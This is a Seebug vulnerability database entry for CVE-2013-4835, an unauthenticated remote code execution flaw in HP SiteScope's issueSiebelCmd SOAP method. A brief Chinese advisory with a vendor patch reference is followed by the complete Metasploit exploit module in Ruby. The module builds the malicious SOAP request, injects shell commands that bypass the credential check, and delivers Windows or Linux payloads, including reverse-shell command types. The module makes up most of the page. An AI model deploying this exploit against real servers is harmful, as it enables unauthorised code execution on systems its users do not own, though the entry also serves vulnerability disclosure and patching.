Lucene search

K
seebugRootSSV:61207
HistoryDec 25, 2013 - 12:00 a.m.

HP SiteScope 'issueSiebelCmd' SOAP请求远程代码执行漏洞

2013-12-2500:00:00
Root
www.seebug.org
20

0.969 High

EPSS

Percentile

99.7%

BUGTRAQ ID: 63478
CVE(CAN) ID: CVE-2013-4835

HP SiteScope是无代理监控软件,可维护其分布式IT基础架构的可用性和性能。

HP SiteScope 11.22之前版本在处理"issueSiebelCmd" SOAP请求的实现上存在安全漏洞,成功利用后可导致执行任意代码。
0
HP SiteScope < 11.22
厂商补丁:

HP

HP已经为此发布了一个安全公告(HPSBMU02933)以及相应补丁:
HPSBMU02933:HP SiteScope, issueSiebelCmd SOAP Request, Remote Code Execution
链接:http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?spf_p.tpst=kbDocDispl


                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rexml/document'
 
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = GreatRanking
 
  HttpFingerprint = { :pattern =&gt; [ /Apache-Coyote/ ] }
 
  include REXML
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerVBS
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        =&gt; 'HP SiteScope issueSiebelCmd Remote Code Execution',
      'Description' =&gt; %q{
        This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the
        APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the
        user to execute arbitrary commands without authentication. This module has been tested
        successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.
      },
      'Author'       =&gt;
        [
          'rgod &lt;rgod[at]autistici.org&gt;', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     =&gt; MSF_LICENSE,
      'References'  =&gt;
        [
          [ 'CVE', '2013-4835'],
          [ 'OSVDB', '99230' ],
          [ 'BID', '63478' ],
          [ 'ZDI', '13-263' ]
        ],
      'Privileged'  =&gt; true,
      'Platform'    =&gt; %w{ win unix },
      'Arch'        =&gt; [ ARCH_X86, ARCH_CMD ],
      'Payload'     =&gt;
        {
          'Space'       =&gt; 2048,
          'DisableNops' =&gt; true
        },
      'Targets'     =&gt;
        [
          [ 'HP SiteScope 11.20 / Windows',
            {
              'Arch' =&gt; ARCH_X86,
              'Platform' =&gt; 'win'
            }
          ],
          [ 'HP SiteScope 11.20 / Linux',
            {
              'Arch' =&gt; ARCH_CMD,
              'Platform' =&gt; 'unix',
              'Payload' =&gt;
                {
                  'BadChars' =&gt; &quot;\x20\x22\x27\x3c&quot;,
                  'Compat'      =&gt; {
                    'RequiredCmd' =&gt; 'perl python bash-tcp gawk openssl'
                  }
                }
            }
          ]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Oct 30 2013'))
 
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
      ], self.class)
  end
 
  def check
    value = rand_text_alpha(8 + rand(10))
 
    res = send_soap_request(value)
 
    if res and res.code == 500 and res.body.to_s =~ /Cmd Error: User and Password must be specified/
      return Exploit::CheckCode::Appears
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
 
    if target.name =~ /Windows/
      print_status(&quot;#{peer} - Delivering payload...&quot;)
      # cmd.exe max length is 8192
      execute_cmdstager({:linemax =&gt; 8000, :nodelete =&gt; true})
    elsif target.name =~ /Linux/
      print_status(&quot;#{peer} - Executing payload...&quot;)
      execute_command(payload.encoded, {:http_timeout =&gt; 1})
    end
  end
 
  def execute_command(cmd, opts={})
    if target.name =~ /Windows/
      cmd.gsub!(/data = Replace\(data, vbCrLf, &quot;&quot;\)/, &quot;data = Replace(data, \&quot; \&quot; + vbCrLf, \&quot;\&quot;)&quot;)
      command = &quot;cmd.exe /c &quot;
      command &lt;&lt; cmd.gsub(/&amp;/, &quot;&amp;#x26;&quot;)   # HTML Encode '&amp;' character to avoid soap request parsing errors
      command &lt;&lt; &quot; &amp;#x26; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}&quot; # To bypass user and pass flags check before executing
    elsif target.name =~ /Linux/
      command = &quot;sh -c &quot;
      command &lt;&lt; cmd.gsub(/&amp;/, &quot;&amp;#x26;&quot;)   # HTML Encode '&amp;' character to avoid soap request parsing errors
      command &lt;&lt; &quot; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}&quot; # To bypass user and pass flags check before executing
    end
 
    res = send_soap_request(command, opts[:http_timeout] || 20)
 
    return if target.name =~ /Linux/ # There isn't response with some ARCH_CMD payloads
 
    unless res and res.code == 500 and res.body =~ /SiteScope encountered an error associated with running a command/
      fail_with(Failure::Unknown, &quot;#{peer} - Unexpected response, aborting...&quot;)
    end
  end
 
  def get_soap_request
    xml = Document.new
    xml.add_element(
        &quot;soapenv:Envelope&quot;,
        {
            'xmlns:xsi'     =&gt; &quot;http://www.w3.org/2001/XMLSchema-instance&quot;,
            'xmlns:xsd'     =&gt; &quot;http://www.w3.org/2001/XMLSchema&quot;,
            'xmlns:soapenv' =&gt; &quot;http://schemas.xmlsoap.org/soap/envelope/&quot;,
            'xmlns:api'     =&gt; &quot;http://Api.freshtech.COM&quot;
        })
    xml.root.add_element(&quot;soapenv:Header&quot;)
    xml.root.add_element(&quot;soapenv:Body&quot;)
    body = xml.root.elements[2]
    body.add_element(
        &quot;api:issueSiebelCmd&quot;,
        {
            'soapenv:encodingStyle' =&gt; &quot;http://schemas.xmlsoap.org/soap/encoding/&quot;
        })
    ser = body.elements[1]
    ser.add_element(&quot;in0&quot;, {'xsi:type' =&gt; 'xsd:string'})
    ser.elements['in0'].text = &quot;MSF_COMMAND&quot;
 
    xml.to_s
  end
 
  def send_soap_request(command, timeout = 20)
    res = send_request_cgi({
      'uri'      =&gt; normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'),
      'method'   =&gt; 'POST',
      'ctype'    =&gt; 'text/xml; charset=UTF-8',
      'data'     =&gt; get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding
      'headers'  =&gt; {
        'SOAPAction' =&gt; '&quot;&quot;'
      }
    }, timeout)
 
    return res
  end
 
end